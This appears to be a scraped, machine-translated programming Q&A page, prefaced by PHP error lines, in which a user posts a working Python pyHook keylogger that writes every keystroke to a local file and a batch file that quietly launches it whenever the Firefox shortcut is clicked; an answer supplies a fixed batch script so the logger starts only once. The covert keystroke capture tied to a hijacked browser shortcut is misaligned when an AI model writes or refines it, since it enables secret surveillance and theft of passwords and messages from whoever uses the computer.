Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/312.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
don';如果python脚本已经在运行,请不要运行它_Python_Python 2.7_Batch File_Keylogger - Fatal编程技术网

don';如果python脚本已经在运行,请不要运行它

don';如果python脚本已经在运行,请不要运行它,python,python-2.7,batch-file,keylogger,Python,Python 2.7,Batch File,Keylogger,根据的教程,我制作了一个简单的Python键记录程序。.pyw文件如下: import pyHook, pythoncom, sys, logging file_log = 'C:\\Python27\\logger.txt' def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii)

根据的教程,我制作了一个简单的Python键记录程序。
.pyw
文件如下:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Python27\\logger.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
当我使用firefox时,它会微妙地运行,因为firefox快捷方式会调用包含以下内容的批处理文件:

@echo off
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work

start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"
我的问题是,如果我多次运行firefox(这种情况经常发生),这个脚本会再次运行并重复自身,因此我会在日志文本文件中得到这些结果

g
g
o
o
o
o
g
g
l
l
e
e
我需要一些
if
条件,该条件不允许此脚本在已运行的情况下运行。

尝试以下操作:

@echo off
for /f "tokens=1 delims= " %%a in ('tasklist /v ^| findstr "keylogger"') do set running_check=%%a
if not defined running_check start "" "c:\Python27\keylogger.pyw"
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"

编辑:修复了for循环

下面是一篇关于如何通过批处理脚本检查进程是否正在运行的帖子,这可能会对某些人有所帮助。请看:尝试为python脚本指定一个标题,并用该标题字符串替换
键盘记录程序